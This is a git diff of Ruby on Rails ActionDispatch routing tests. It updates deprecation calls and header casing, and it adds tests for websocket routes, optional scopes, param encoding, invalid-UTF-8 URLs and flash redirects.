+    assert_response(:ok)
+    assert_equal("bar", response.body)
+
+    with_routing do |route_set|
+      route_set.draw do
+        get "/purchase", to: "store#purchase"
+      end
+
+      # Ensure the middleware is properly configured inside `with_routing`
+      get "/purchase"
+      assert_response(:ok)
+      assert_equal("bar", response.body)
+    end
+
+    # Ensure the middleware is properly configured after `with_routing`
+    get "/purchase"
+    assert_response(:ok)
+    assert_equal("bar", response.body)
+  end
 end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index 53758a4fbcffa..11570c53e07da 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "erb"
 require "abstract_unit"
 require "controller/fake_controllers"
+require "active_support/messages/rotation_configuration"
 
 class TestRoutingMapper < ActionDispatch::IntegrationTest
   SprocketsApp = lambda { |env|
@@ -9,7 +12,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
 
   class IpRestrictor
     def self.matches?(request)
-      request.ip =~ /192\.168\.1\.1\d\d/
+      /192\.168\.1\.1\d\d/.match?(request.ip)
     end
   end
 
@@ -112,11 +115,26 @@ def test_redirect_with_passing_constraint
     assert_equal 301, status
   end
 
+  def test_accepts_a_constraint_object_responding_to_call
+    constraint = Class.new do
+      def call(*); true; end
+      def matches?(*); false; end
+    end
+
+    draw do
+      get "/", to: "home#show", constraints: constraint.new
+    end
+
+    assert_nothing_raised do
+      get "/"
+    end
+  end
+
   def test_namespace_with_controller_segment
     assert_raise(ArgumentError) do
       draw do
         namespace :admin do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             get "/:controller(/:action(/:id(.:format)))"
           end
         end
@@ -127,7 +145,7 @@ def test_namespace_with_controller_segment
   def test_namespace_without_controller_segment
     draw do
       namespace :admin do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get "hello/:controllers/:action"
         end
       end
@@ -336,6 +354,20 @@ def test_openid
     assert_equal "openid#login", @response.body
   end
 
+  def test_websocket
+    draw do
+      connect "chat/live", to: "chat#live"
+    end
+
+    # HTTP/1.1 connection upgrade:
+    get "/chat/live", headers: { "REQUEST_METHOD" => "GET", "HTTP_CONNECTION" => "Upgrade", "HTTP_UPGRADE" => "websocket" }
+    assert_equal "chat#live", @response.body
+
+    # `rack.protocol` connection:
+    get "/chat/live", headers: { "REQUEST_METHOD" => "CONNECT", "rack.protocol" => "websocket" }
+    assert_equal "chat#live", @response.body
+  end
+
   def test_bookmarks
     draw do
       scope "bookmark", controller: "bookmarks", as: :bookmark do
@@ -412,19 +444,19 @@ def test_admin
     assert_equal "queenbee#index", @response.body
 
     get "/admin", headers: { "REMOTE_ADDR" => "10.0.0.100" }
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
 
     get "/admin/accounts", headers: { "REMOTE_ADDR" => "192.168.1.100" }
     assert_equal "queenbee#accounts", @response.body
 
     get "/admin/accounts", headers: { "REMOTE_ADDR" => "10.0.0.100" }
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
 
     get "/admin/passwords", headers: { "REMOTE_ADDR" => "192.168.1.100" }
     assert_equal "queenbee#passwords", @response.body
 
     get "/admin/passwords", headers: { "REMOTE_ADDR" => "10.0.0.100" }
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
   end
 
   def test_global
@@ -434,7 +466,7 @@ def test_global
         get "global/export",      action: :export, as: :export_request
         get "/export/:id/:file",  action: :export, as: :export_download, constraints: { file: /.*/ }
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get "global/:action"
         end
       end
@@ -459,7 +491,7 @@ def test_global
 
   def test_local
     draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/local/:action", controller: "local"
       end
     end
@@ -474,7 +506,7 @@ def test_url_for_with_no_side_effects
       get "/projects/status(.:format)"
     end
 
-    # without dup, additional (and possibly unwanted) values will be present in the options (eg. :host)
+    # without dup, additional (and possibly unwanted) values will be present in the options (e.g. :host)
     original_options = { controller: "projects", action: "status" }
     options = original_options.dup
 
@@ -745,7 +777,8 @@ def test_projects_people
 
           member do
             put  :accessible_projects
-            post :resend, :generate_new_password
+            post :resend
+            post :generate_new_password
           end
         end
       end
@@ -794,7 +827,8 @@ def test_projects_posts
     draw do
       resources :projects do
         resources :posts do
-          get  :archive, :toggle_view, on: :collection
+          get :archive, on: :collection
+          get :toggle_view, on: :collection
           post :preview, on: :member
 
           resource :subscription
@@ -872,13 +906,13 @@ def test_resource_routes_with_only_and_except
     assert_equal "/posts/1/comments", post_comments_path(post_id: 1)
 
     post "/posts"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
     put "/posts/1"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
     delete "/posts/1"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
     delete "/posts/1/comments"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
   end
 
   def test_resource_routes_only_create_update_destroy
@@ -954,13 +988,13 @@ def test_resources_for_uncountable_names
 
   def test_resource_does_not_modify_passed_options
     options = { id: /.+?/, format: /json|xml/ }
-    draw { resource :user, options }
+    draw { resource :user, **options }
     assert_equal({ id: /.+?/, format: /json|xml/ }, options)
   end
 
   def test_resources_does_not_modify_passed_options
     options = { id: /.+?/, format: /json|xml/ }
-    draw { resources :users, options }
+    draw { resources :users, **options }
     assert_equal({ id: /.+?/, format: /json|xml/ }, options)
   end
 
@@ -1307,7 +1341,7 @@ def test_articles_with_id
     assert_equal "articles#with_id", @response.body
 
     get "/articles/123/1"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
 
     assert_equal "/articles/rails/1", article_with_title_path(title: "rails", id: 1)
   end
@@ -1364,6 +1398,95 @@ def test_scoped_root_as_name
     assert_equal "projects#index", @response.body
   end
 
+  def test_optional_scoped_root_hierarchy
+    draw do
+      scope "(:locale)" do
+        scope "(:platform)" do
+          scope "(:browser)" do
+            root to: "projects#index"
+          end
+        end
+      end
+    end
+
+    assert_equal "/", root_path
+    assert_equal "/en", root_path(locale: "en")
+    assert_equal "/en/osx", root_path(locale: "en", platform: "osx")
+    assert_equal "/en/osx/chrome",
+      root_path(locale: "en", platform: "osx", browser: "chrome")
+
+    get "/"
+    assert_equal "projects#index", @response.body
+
+    get "/en"
+    assert_equal "projects#index", @response.body
+
+    get "/en/osx"
+    assert_equal "projects#index", @response.body
+
+    get "/en/osx/chrome"
+    assert_equal "projects#index", @response.body
+  end
+
+  def test_optional_scoped_root_multiple_choice
+    draw do
+      scope "(:locale)" do
+        scope "(p/:platform)" do
+          scope "(b/:browser)" do
+            root to: "projects#index"
+          end
+        end
+      end
+    end
+
+    # Note, in this particular case where we rely on pattern matching instead
+    # of hierarchy to match parameters in a root path, root_path returns ""
+    # when given no path parameters.
+
+    assert_equal "/en", root_path(locale: "en")
+    assert_equal "/p/osx", root_path(platform: "osx")
+    assert_equal "/en/p/osx", root_path(locale: "en", platform: "osx")
+    assert_equal "/b/chrome", root_path(browser: "chrome")
+    assert_equal "/en/b/chrome", root_path(locale: "en", browser: "chrome")
+    assert_equal "/p/osx/b/chrome",
+      root_path(platform: "osx", browser: "chrome")
+    assert_equal "/en/p/osx/b/chrome",
+      root_path(locale: "en", platform: "osx", browser: "chrome")
+
+    get "/en"
+    assert_equal "projects#index", @response.body
+
+    get "/p/osx"
+    assert_equal "projects#index", @response.body
+
+    get "/en/p/osx"
+    assert_equal "projects#index", @response.body
+
+    get "/b/chrome"
+    assert_equal "projects#index", @response.body
+
+    get "/en/b/chrome"
+    assert_equal "projects#index", @response.body
+
+    get "/p/osx/b/chrome"
+    assert_equal "projects#index", @response.body
+
+    get "/en/p/osx/b/chrome"
+    assert_equal "projects#index", @response.body
+  end
+
+  def test_optional_part_of_segment
+    draw do
+      get "/star-trek(-tng)/:episode", to: "star_trek#show"
+    end
+
+    get "/star-trek/02-15-the-trouble-with-tribbles"
+    assert_equal "star_trek#show", @response.body
+
+    get "/star-trek-tng/05-02-darmok"
+    assert_equal "star_trek#show", @response.body
+  end
+
   def test_scope_with_format_option
     draw do
       get "direct/index", as: :no_format_direct, format: false
@@ -1426,18 +1549,11 @@ def test_index
   end
 
   def test_match_with_many_paths_containing_a_slash
-    draw do
-      get "get/first", "get/second", "get/third", to: "get#show"
+    assert_raises(ArgumentError) do
+      draw do
+        get "get/first", "get/second", "get/third", to: "get#show"
+      end
     end
-
-    get "/get/first"
-    assert_equal "get#show", @response.body
-
-    get "/get/second"
-    assert_equal "get#show", @response.body
-
-    get "/get/third"
-    assert_equal "get#show", @response.body
   end
 
   def test_match_shorthand_with_no_scope
@@ -1463,17 +1579,13 @@ def test_match_shorthand_inside_namespace
   end
 
   def test_match_shorthand_with_multiple_paths_inside_namespace
-    draw do
-      namespace :proposals do
-        put "activate", "inactivate"
+    assert_raises(ArgumentError) do
+      draw do
+        namespace :proposals do
+          put "activate", "inactivate"
+        end
       end
     end
-
-    put "/proposals/activate"
-    assert_equal "proposals#activate", @response.body
-
-    put "/proposals/inactivate"
-    assert_equal "proposals#inactivate", @response.body
   end
 
   def test_match_shorthand_inside_namespace_with_controller
@@ -1517,7 +1629,7 @@ def test_match_shorthand_inside_nested_namespaces_and_scopes_with_controller
 
   def test_not_matching_shorthand_with_dynamic_parameters
     draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller/:action/admin"
       end
     end
@@ -1555,7 +1667,7 @@ def test_dynamically_generated_helpers_on_collection_do_not_clobber_resources_ur
   def test_scoped_controller_with_namespace_and_action
     draw do
       namespace :account do
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":action/callback", action: /twitter|github/, controller: "callbacks", as: :callback
         end
       end
@@ -1802,7 +1914,7 @@ def test_resource_constraints
     end
 
     get "/products/1"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
     get "/products"
     assert_equal "products#root", @response.body
     get "/products/favorite"
@@ -1811,14 +1923,14 @@ def test_resource_constraints
     assert_equal "products#show", @response.body
 
     get "/products/1/images"
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
     get "/products/0001/images"
     assert_equal "images#index", @response.body
     get "/products/0001/images/0001"
     assert_equal "images#show", @response.body
 
     get "/dashboard", headers: { "REMOTE_ADDR" => "10.0.0.100" }
-    assert_equal "pass", @response.headers["X-Cascade"]
+    assert_equal "pass", @response.headers["x-cascade"]
     get "/dashboard", headers: { "REMOTE_ADDR" => "192.168.1.100" }
     assert_equal "dashboards#show", @response.body
   end
@@ -1888,7 +2000,7 @@ def test_symbol_scope
 
   def test_url_generator_for_generic_route
     draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "whatever/:controller(/:action(/:id))"
       end
     end
@@ -1902,7 +2014,7 @@ def test_url_generator_for_generic_route
 
   def test_url_generator_for_namespaced_generic_route
     draw do
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "whatever/:controller(/:action(/:id))", id: /\d+/
       end
     end
@@ -2166,6 +2278,37 @@ def test_shallow_nested_resources_inside_resource
     assert_equal "cards#destroy", @response.body
   end
 
+  def test_shallow_false_inside_nested_shallow_resource
+    draw do
+      resources :blogs, shallow: true do
+        resources :posts do
+          resources :comments, shallow: false
+          resources :tags
+        end
+      end
+    end
+
+    get "/posts/1/comments"
+    assert_equal "comments#index", @response.body
+    assert_equal "/posts/1/comments", post_comments_path("1")
+
+    get "/posts/1/comments/new"
+    assert_equal "comments#new", @response.body
+    assert_equal "/posts/1/comments/new", new_post_comment_path("1")
+
+    get "/posts/1/comments/2"
+    assert_equal "comments#show", @response.body
+    assert_equal "/posts/1/comments/2", post_comment_path("1", "2")
+
+    get "/posts/1/comments/2/edit"
+    assert_equal "comments#edit", @response.body
+    assert_equal "/posts/1/comments/2/edit", edit_post_comment_path("1", "2")
+
+    get "/tags/3"
+    assert_equal "tags#show", @response.body
+    assert_equal "/tags/3", tag_path("3")
+  end
+
   def test_shallow_deeply_nested_resources
     draw do
       resources :blogs do
@@ -3150,7 +3293,7 @@ def test_named_route_check
       after = has_named_route?(:hello)
     end
 
-    assert !before, "expected to not have named route :hello before route definition"
+    assert_not before, "expected to not have named route :hello before route definition"
     assert after, "expected to have named route :hello after route definition"
   end
 
@@ -3163,7 +3306,7 @@ def test_explicitly_avoiding_the_named_route
       end
     end
 
-    assert !respond_to?(:routes_no_collision_path)
+    assert_not respond_to?(:routes_no_collision_path)
   end
 
   def test_controller_name_with_leading_slash_raise_error
@@ -3304,13 +3447,23 @@ def test_shallow_custom_param
     assert_equal "0c0c0b68-d24b-11e1-a861-001ff3fffe6f", @request.params[:download]
   end
 
-  def test_action_from_path_is_not_frozen
+  def test_colon_containing_custom_param
+    ex = assert_raises(ArgumentError) {
+      draw do
+        resources :profiles, param: "username/:is_admin"
+      end
+    }
+
+    assert_match(/:param option can't contain colon/, ex.message)
+  end
+
+  def test_action_from_path_is_frozen
     draw do
       get "search" => "search"
     end
 
     get "/search"
-    assert !@request.params[:action].frozen?
+    assert_predicate @request.params[:action], :frozen?
   end
 
   def test_multiple_positional_args_with_the_same_name
@@ -3361,16 +3514,16 @@ def test_trailing_slash
     end
 
     get "/streams"
-    assert @response.ok?, "route without trailing slash should work"
+    assert_predicate @response, :ok?, "route without trailing slash should work"
 
     get "/streams/"
-    assert @response.ok?, "route with trailing slash should work"
+    assert_predicate @response, :ok?, "route with trailing slash should work"
 
     get "/streams?foobar"
-    assert @response.ok?, "route without trailing slash and with QUERY_STRING should work"
+    assert_predicate @response, :ok?, "route without trailing slash and with QUERY_STRING should work"
 
     get "/streams/?foobar"
-    assert @response.ok?, "route with trailing slash and with QUERY_STRING should work"
+    assert_predicate @response, :ok?, "route with trailing slash and with QUERY_STRING should work"
   end
 
   def test_route_with_dashes_in_path
@@ -3633,7 +3786,7 @@ def test_passing_action_parameters_to_url_helpers_raises_error_if_parameters_are
     end
     params = ActionController::Parameters.new(id: "1")
 
-    assert_raises ArgumentError do
+    assert_raises ActionController::UnfilteredParameters do
       root_path(params)
     end
   end
@@ -3649,7 +3802,7 @@ def test_passing_action_parameters_to_url_helpers_is_allowed_if_parameters_are_p
   end
 
   def test_dynamic_controller_segments_are_deprecated
-    assert_deprecated do
+    assert_deprecated(ActionDispatch.deprecator) do
       draw do
         get "/:controller", action: "index"
       end
@@ -3657,22 +3810,32 @@ def test_dynamic_controller_segments_are_deprecated
   end
 
   def test_dynamic_action_segments_are_deprecated
-    assert_deprecated do
+    assert_deprecated(ActionDispatch.deprecator) do
       draw do
         get "/pages/:action", controller: "pages"
       end
     end
   end
 
-  def test_multiple_roots
+  def test_multiple_roots_raises_error
+    ex = assert_raises(ArgumentError) {
+      draw do
+        root "pages#index", constraints: { host: "www.example.com" }
+        root "admin/pages#index", constraints: { host: "admin.example.com" }
+      end
+    }
+    assert_match(/Invalid route name, already in use: 'root'/, ex.message)
+  end
+
+  def test_multiple_named_roots
     draw do
       namespace :foo do
         root "pages#index", constraints: { host: "www.example.com" }
-        root "admin/pages#index", constraints: { host: "admin.example.com" }
+        root "admin/pages#index", constraints: { host: "admin.example.com" }, as: :admin_root
       end
 
       root "pages#index", constraints: { host: "www.example.com" }
-      root "admin/pages#index", constraints: { host: "admin.example.com" }
+      root "admin/pages#index", constraints: { host: "admin.example.com" },  as: :admin_root
     end
 
     get "http://www.example.com/foo"
@@ -3706,8 +3869,35 @@ def test_multiple_namespaced_roots
     assert_equal "/bar", bar_root_path
   end
 
-private
+  def test_nested_routes_under_format_resource
+    draw do
+      resources :formats do
+        resources :items
+      end
+    end
+
+    get "/formats/1/items.json"
+    assert_equal 200, @response.status
+    assert_equal "items#index", @response.body
+    assert_equal "/formats/1/items.json", format_items_path(1, :json)
 
+    get "/formats/1/items/2.json"
+    assert_equal 200, @response.status
+    assert_equal "items#show", @response.body
+    assert_equal "/formats/1/items/2.json", format_item_path(1, 2, :json)
+  end
+
+  def test_routes_with_double_colon
+    draw do
+      get "/sort::sort", to: "sessions#sort"
+    end
+
+    get "/sort:asc"
+    assert_equal "asc", @request.params[:sort]
+    assert_equal "sessions#sort", @response.body
+  end
+
+private
   def draw(&block)
     self.class.stub_controllers do |routes|
       routes.default_url_options = { host: "www.example.com" }
@@ -3720,9 +3910,9 @@ def url_for(options = {})
     @app.routes.url_helpers.url_for(options)
   end
 
-  def method_missing(method, *args, &block)
-    if method.to_s =~ /_(path|url)$/
-      @app.routes.url_helpers.send(method, *args, &block)
+  def method_missing(method, ...)
+    if method.match?(/_(path|url)$/)
+      @app.routes.url_helpers.send(method, ...)
     else
       super
     end
@@ -3739,11 +3929,7 @@ def with_https
   def verify_redirect(url, status = 301)
     assert_equal status, @response.status
     assert_equal url, @response.headers["Location"]
-    assert_equal expected_redirect_body(url), @response.body
-  end
-
-  def expected_redirect_body(url)
-    %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+    assert_equal "", @response.body
   end
 end
 
@@ -3866,6 +4052,7 @@ def draw(&block)
     routes = ActionDispatch::Routing::RouteSet.new
     routes.draw(&block)
     @app = self.class.build_app routes
+    @routes = routes
   end
 
   def test_missing_controller
@@ -3886,7 +4073,25 @@ def test_missing_controller_with_to
     assert_match(/Missing :controller/, ex.message)
   end
 
-  def test_missing_action_on_hash
+  def test_implicit_controller_with_to
+    draw do
+      controller :foo do
+        get "/foo/bar", to: "bar"
+      end
+    end
+    assert_routing "/foo/bar", controller: "foo", action: "bar"
+  end
+
+  def test_to_is_a_symbol
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get "/foo/bar", to: :foo
+      end
+    }
+    assert_match(/:to must respond to/, ex.message)
+  end
+
+  def test_missing_action_with_to
     ex = assert_raises(ArgumentError) {
       draw do
         get "/foo/bar", to: "foo#"
@@ -4166,11 +4371,7 @@ def app; APP end
   def verify_redirect(url, status = 301)
     assert_equal status, @response.status
     assert_equal url, @response.headers["Location"]
-    assert_equal expected_redirect_body(url), @response.body
-  end
-
-  def expected_redirect_body(url)
-    %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+    assert_equal "", @response.body
   end
 end
 
@@ -4204,7 +4405,7 @@ class TestGlobRoutingMapper < ActionDispatch::IntegrationTest
     end
   end
 
-  #include Routes.url_helpers
+  # include Routes.url_helpers
   APP = build_app Routes
   def app; APP end
 
@@ -4230,7 +4431,7 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
       ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
       get "/foo" => ok, as: :foo
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get "/post(/:action(/:id))" => ok, as: :posts
       end
 
@@ -4246,7 +4447,7 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
   def app; APP end
 
   test "enabled when not mounted and default_url_options is empty" do
-    assert Routes.url_helpers.optimize_routes_generation?
+    assert_predicate Routes.url_helpers, :optimize_routes_generation?
   end
 
   test "named route called as singleton method" do
@@ -4320,7 +4521,7 @@ def app; APP end
 
   include Routes.url_helpers
 
-  test "url helpers do not ignore nil parameters when using non-optimized routes" do
+  test "URL helpers do not ignore nil parameters when using non-optimized routes" do
     Routes.stub :optimize_routes_generation?, false do
       get "/categories/1"
       assert_response :success
@@ -4396,22 +4597,22 @@ def app; APP end
 
 class TestInvalidUrls < ActionDispatch::IntegrationTest
   class FooController < ActionController::Base
+    param_encoding :show, :id, Encoding::ASCII_8BIT
+
     def show
       render plain: "foo#show"
     end
   end
 
-  test "invalid UTF-8 encoding returns a 400 Bad Request" do
+  test "invalid UTF-8 encoding returns a bad request" do
     with_routing do |set|
       set.draw do
         get "/bar/:id", to: redirect("/foo/show/%{id}")
-        get "/foo/show(/:id)", to: "test_invalid_urls/foo#show"
 
         ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
         get "/foobar/:id", to: ok
 
-        ActiveSupport::Deprecation.silence do
-          get "/foo(/:action(/:id))", controller: "test_invalid_urls/foo"
+        ActionDispatch.deprecator.silence do
           get "/:controller(/:action(/:id))"
         end
       end
@@ -4422,9 +4623,6 @@ def show
       get "/foo/%E2%EF%BF%BD%A6"
       assert_response :bad_request
 
-      get "/foo/show/%E2%EF%BF%BD%A6"
-      assert_response :bad_request
-
       get "/bar/%E2%EF%BF%BD%A6"
       assert_response :bad_request
 
@@ -4432,6 +4630,36 @@ def show
       assert_response :bad_request
     end
   end
+
+  test "params param_encoding uses ASCII 8bit" do
+    with_routing do |set|
+      set.draw do
+        get "/foo/show(/:id)", to: "test_invalid_urls/foo#show"
+        get "/bar/show(/:id)", controller: "test_invalid_urls/foo", action: "show"
+      end
+
+      get "/foo/show/%E2%EF%BF%BD%A6"
+      assert_response :ok
+
+      get "/bar/show/%E2%EF%BF%BD%A6"
+      assert_response :ok
+    end
+  end
+
+  test "does not encode params besides id" do
+    with_routing do |set|
+      set.draw do
+        get "/foo/show(/:id)", to: "test_invalid_urls/foo#show"
+        get "/bar/show(/:id)", controller: "test_invalid_urls/foo", action: "show"
+      end
+
+      get "/foo/show/%E2%EF%BF%BD%A6?something_else=%E2%EF%BF%BD%A6"
+      assert_response :bad_request
+
+      get "/foo/show/%E2%EF%BF%BD%A6?something_else=%E2%EF%BF%BD%A6"
+      assert_response :bad_request
+    end
+  end
 end
 
 class TestOptionalRootSegments < ActionDispatch::IntegrationTest
@@ -4469,7 +4697,7 @@ class TestPortConstraints < ActionDispatch::IntegrationTest
 
       get "/integer", to: ok, constraints: { port: 8080  }
       get "/string",  to: ok, constraints: { port: "8080" }
-      get "/array",   to: ok, constraints: { port: [8080] }
+      get "/array/:idx",   to: ok, constraints: { port: [8080], idx: %w[first last] }
       get "/regexp",  to: ok, constraints: { port: /8080/ }
     end
   end
@@ -4498,7 +4726,10 @@ def test_array_port_constraints
     get "http://www.example.com/array"
     assert_response :not_found
 
-    get "http://www.example.com:8080/array"
+    get "http://www.example.com:8080/array/middle"
+    assert_response :not_found
+
+    get "http://www.example.com:8080/array/first"
     assert_response :success
   end
 
@@ -4601,7 +4832,7 @@ def app
 
   def test_route_options_are_required_for_url_for
     assert_raises(ActionController::UrlGenerationError) do
-      assert_equal "/posts/1", url_for(controller: "posts", action: "show", id: 1, only_path: true)
+      url_for(controller: "posts", action: "show", id: 1, only_path: true)
     end
 
     assert_equal "/posts/1", url_for(controller: "posts", action: "show", id: 1, bucket_type: "post", only_path: true)
@@ -4679,7 +4910,7 @@ def app; APP end
 
   include Routes.url_helpers
 
-  test "url helpers raise a 'missing keys' error for a nil param with optimized helpers" do
+  test "URL helpers raise a 'missing keys' error for a nil param with optimized helpers" do
     url, missing = { action: "show", controller: "products", id: nil }, [:id]
     message = "No route matches #{url.inspect}, missing required keys: #{missing.inspect}"
 
@@ -4687,25 +4918,40 @@ def app; APP end
     assert_equal message, error.message
   end
 
-  test "url helpers raise a 'constraint failure' error for a nil param with non-optimized helpers" do
+  test "URL helpers raise a 'constraint failure' error for a nil param with non-optimized helpers" do
     url, missing = { action: "show", controller: "products", id: nil }, [:id]
     message = "No route matches #{url.inspect}, possible unmatched constraints: #{missing.inspect}"
 
     error = assert_raises(ActionController::UrlGenerationError, message) { product_path(id: nil) }
-    assert_equal message, error.message
+    assert_match message, error.message
   end
 
-  test "url helpers raise message with mixed parameters when generation fails" do
+  test "URL helpers raise message with mixed parameters when generation fails" do
     url, missing = { action: "show", controller: "products", id: nil, "id" => "url-tested" }, [:id]
     message = "No route matches #{url.inspect}, possible unmatched constraints: #{missing.inspect}"
 
-    # Optimized url helper
+    # Optimized URL helper
     error = assert_raises(ActionController::UrlGenerationError) { product_path(nil, "id" => "url-tested") }
-    assert_equal message, error.message
+    assert_match message, error.message
 
-    # Non-optimized url helper
+    # Non-optimized URL helper
     error = assert_raises(ActionController::UrlGenerationError, message) { product_path(id: nil, "id" => "url-tested") }
-    assert_equal message, error.message
+    assert_match message, error.message
+  end
+
+  test "exceptions have suggestions for fix" do
+    error = assert_raises(ActionController::UrlGenerationError) { product_path(nil, "id" => "url-tested") }
+    assert_match "Did you mean?", error.detailed_message
+  end
+
+  # FIXME: we should fix all locations that raise this exception to provide
+  # the info DidYouMean needs and then delete this test.  Just adding the
+  # test for now because some parameters to the constructor are optional, and
+  # we don't want to break other code.
+  test "correct for empty UrlGenerationError" do
+    err = ActionController::UrlGenerationError.new("oh no!")
+
+    assert_equal [], err.corrections
   end
 end
 
@@ -4737,49 +4983,6 @@ def test_positional_args_with_format_false
   end
 end
 
-class TestErrorsInController < ActionDispatch::IntegrationTest
-  class ::PostsController < ActionController::Base
-    def foo
-      nil.i_do_not_exist
-    end
-
-    def bar
-      NonExistingClass.new
-    end
-  end
-
-  Routes = ActionDispatch::Routing::RouteSet.new
-  Routes.draw do
-    ActiveSupport::Deprecation.silence do
-      get "/:controller(/:action)"
-    end
-  end
-
-  APP = build_app Routes
-
-  def app
-    APP
-  end
-
-  def test_legit_no_method_errors_are_not_caught
-    get "/posts/foo"
-    assert_equal 500, response.status
-  end
-
-  def test_legit_name_errors_are_not_caught
-    get "/posts/bar"
-    assert_equal 500, response.status
-  end
-
-  def test_legit_routing_not_found_responses
-    get "/posts/baz"
-    assert_equal 404, response.status
-
-    get "/i_do_not_exist"
-    assert_equal 404, response.status
-  end
-end
-
 class TestPartialDynamicPathSegments < ActionDispatch::IntegrationTest
   Routes = ActionDispatch::Routing::RouteSet.new
   Routes.draw do
@@ -4802,7 +5005,7 @@ def app
     APP
   end
 
-  def test_paths_with_partial_dynamic_segments_are_recognised
+  def test_paths_with_partial_dynamic_segments_are_recognized
     get "/david-bowie/changes-song"
     assert_equal 200, response.status
     assert_params artist: "david-bowie", song: "changes"
@@ -4837,12 +5040,52 @@ def test_paths_with_partial_dynamic_segments_are_recognised
   end
 
   private
-
     def assert_params(params)
       assert_equal(params, request.path_parameters)
     end
 end
 
+class TestOptionalScopesWithOrWithoutParams < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      scope module: "test_optional_scopes_with_or_without_params" do
+        scope "(:locale)", locale: /en|es/ do
+          get "home", controller: :home, action: :index
+          get "with_param/:foo", to: "home#with_param", as: "with_param"
+          get "without_param", to: "home#without_param"
+        end
+      end
+    end
+  end
+
+  class HomeController < ActionController::Base
+    include Routes.url_helpers
+
+    def index
+      render inline: "<%= with_param_path(foo: 'bar') %> | <%= without_param_path %>"
+    end
+
+    def with_param; end
+    def without_param; end
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  def test_stays_unscoped_with_or_without_params
+    get "/home"
+    assert_equal "/with_param/bar | /without_param", response.body
+  end
+
+  def test_preserves_scope_with_or_without_params
+    get "/es/home"
+    assert_equal "/es/with_param/bar | /es/without_param", response.body
+  end
+end
+
 class TestPathParameters < ActionDispatch::IntegrationTest
   Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
     app.draw do
@@ -4853,7 +5096,7 @@ class TestPathParameters < ActionDispatch::IntegrationTest
         end
       end
 
-      ActiveSupport::Deprecation.silence do
+      ActionDispatch.deprecator.silence do
         get ":controller(/:action/(:id))"
       end
     end
@@ -4903,7 +5146,7 @@ def app
     APP
   end
 
-  def test_paths_with_partial_dynamic_segments_are_recognised
+  def test_paths_with_partial_dynamic_segments_are_recognized
     get "/test_internal/123"
     assert_equal 200, response.status
 
@@ -4913,3 +5156,158 @@ def test_paths_with_partial_dynamic_segments_are_recognised
     )
   end
 end
+
+class FlashRedirectTest < ActionDispatch::IntegrationTest
+  SessionKey = "_myapp_session"
+  Generator = ActiveSupport::CachingKeyGenerator.new(
+    ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33", iterations: 1000)
+  )
+  Rotations = ActiveSupport::Messages::RotationConfiguration.new
+  SIGNED_COOKIE_SALT = "signed cookie"
+  ENCRYPTED_SIGNED_COOKIE_SALT = "signed encrypted cookie"
+
+  class KeyGeneratorMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.key_generator"] ||= Generator
+      env["action_dispatch.cookies_rotations"] ||= Rotations
+      env["action_dispatch.signed_cookie_salt"] = SIGNED_COOKIE_SALT
+      env["action_dispatch.encrypted_signed_cookie_salt"] = ENCRYPTED_SIGNED_COOKIE_SALT
+
+      @app.call(env)
+    end
+  end
+
+  class FooController < ActionController::Base
+    def bar
+      render plain: (flash[:foo] || "foo")
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    get "/foo", to: redirect { |params, req| req.flash[:foo] = "bar"; "/bar" }
+    get "/bar", to: "flash_redirect_test/foo#bar"
+  end
+
+  APP = build_app Routes do |middleware|
+    middleware.use KeyGeneratorMiddleware
+    middleware.use ActionDispatch::Session::CookieStore, key: SessionKey
+    middleware.use ActionDispatch::Flash
+    middleware.delete ActionDispatch::ShowExceptions
+  end
+
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_block_redirect_commits_flash
+    get "/foo", env: { "action_dispatch.key_generator" => Generator }
+    assert_response :redirect
+
+    follow_redirect!
+    assert_equal "bar", response.body
+  end
+end
+
